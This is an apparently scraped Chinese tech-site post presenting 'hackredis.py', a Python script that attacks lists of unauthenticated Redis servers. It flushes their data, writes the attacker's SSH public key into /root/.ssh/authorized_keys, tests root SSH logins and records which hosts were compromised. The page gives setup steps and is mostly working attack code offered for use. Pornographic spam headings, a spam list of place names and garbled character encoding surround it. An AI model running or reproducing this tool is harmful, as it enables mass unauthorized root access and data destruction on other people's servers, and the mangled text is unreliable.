国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數(shù)據(jù)庫 > Redis > 正文

python腳本實(shí)現(xiàn)Redis未授權(quán)批量提權(quán)

2020-03-17 12:36:16
字體:
供稿:網(wǎng)友

前言

本文主要給大家介紹了關(guān)于redis未授權(quán)批量提權(quán)的相關(guān)內(nèi)容,分享出來供大家參考學(xué)習(xí),下面話不多說了,來一起看看詳細(xì)的介紹吧。

安裝依賴

 sudo easy_install redis

使用

redis python hackredis.py         usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT]For Example:-----------------------------------------------------------------------------python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22optional arguments: -h, --help  show this help message and exit -l IPLIST  the hosts of target -p PORT  the redis default port -r ID_RSAFILE the ssh id_rsa file you generate -sp SSH_PORT the ssh port

首先需要ssh密鑰:

ssh-keygen -t rsa cp ~/.ssh/id_rsa.pub /tmp/foo.txt

之后將ip列表填入ip.txt,然后就可以跑了。 成功的將會輸出到success.txt,執(zhí)行成功但是ssh連接失敗的會存儲在unconnect.txt,操作失敗的會存儲在fail.txt。

#!/usr/bin/python#coding:utf-8############################################################### @file hackredis.py         #### @date 2015-12-11          #### @author evi1cg           ###############################################################import redisimport argparseimport textwrapimport sysimport pexpectdef getargs(): parser = argparse.ArgumentParser(prog='hackredis.py', formatter_class=argparse.RawTextHelpFormatter, description=textwrap.dedent('''/ For Example: ----------------------------------------------------------------------------- python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22''')) parser.add_argument('-l', dest='iplist', type=str, help='the hosts of target') parser.add_argument('-p', dest='port', default=6379, type=int, help='the redis default port') parser.add_argument('-r', dest='id_rsafile', type=str, help='the ssh id_rsa file you generate') parser.add_argument('-sp', dest='ssh_port', type=int,default=22, help='the ssh port') if(len(sys.argv[1:]) / 2 != 4): sys.argv.append('-h') return parser.parse_args()def hackredis(host,port): ck = 0 try: print "[*] Attacking ip:%s"%host r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2) r.flushall r.set('crackit',foo) r.config_set('dir','/root/.ssh/') r.config_set('dbfilename','authorized_keys') r.save() ck =1 except: print "/033[1;31;40m[-]/033[0m Something wrong with %s"%host write(host,2) ck =0 if ck == 1: check(host) else: passdef check(host): print '/033[1;33;40m[*]/033[0m Check connecting... ' try: ssh = pexpect.spawn('ssh root@%s -p %d' %(host,ssh_port)) i = ssh.expect('[#/$]',timeout=2) if i == 0:  print "/033[1;34;40m[+]/033[0m Success !"  write(host,1) else:  pass except: print "/033[1;32;40m[-]/033[0m Failed to connect !" write(host,3)def write(host,suc): if suc == 1: filesname = 'success.txt' elif suc ==2: filesname = 'fail.txt' elif suc ==3: filesname = 'unconnect.txt' else: pass file_object = open(filesname,'a') file_object.write(host+'/n') file_object.close()def main(): global foo,ssh_port paramsargs = getargs() try: hosts = open(paramsargs.iplist,"r") except(IOError): print "Error: Check your hostfile path/n" sys.exit(1)  port = paramsargs.port ssh_port = paramsargs.ssh_port try: foo = '/n/n/n'+open(paramsargs.id_rsafile,"r").readline()+'/n/n/n' except(IOError): print "Error: Check your wordlist path/n" sys.exit(1)   ips = [p.replace('/n','') for p in hosts] for ip in ips: hackredis(ip.strip(),port)if __name__ == "__main__": main()

總結(jié)

以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作能帶來一定的幫助,如果有疑問大家可以留言交流,謝謝大家對VEVB武林網(wǎng)的支持。


注:相關(guān)教程知識閱讀請移步到Redis頻道。
發(fā)表評論 共有條評論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 巴塘县| 巨野县| 乌审旗| 浮梁县| 滦南县| 洞口县| 顺昌县| 洛川县| 永新县| 灌阳县| 革吉县| 伽师县| 荥阳市| 罗甸县| 定西市| 西城区| 昭通市| 唐河县| 绥芬河市| 漠河县| 西丰县| 固阳县| 浦北县| 彭水| 建昌县| 连城县| 崇义县| 广州市| 祁阳县| 叙永县| 麻江县| 科尔| 台中县| 三江| 德格县| 平潭县| 改则县| 同德县| 桦甸市| 凌海市| 大宁县|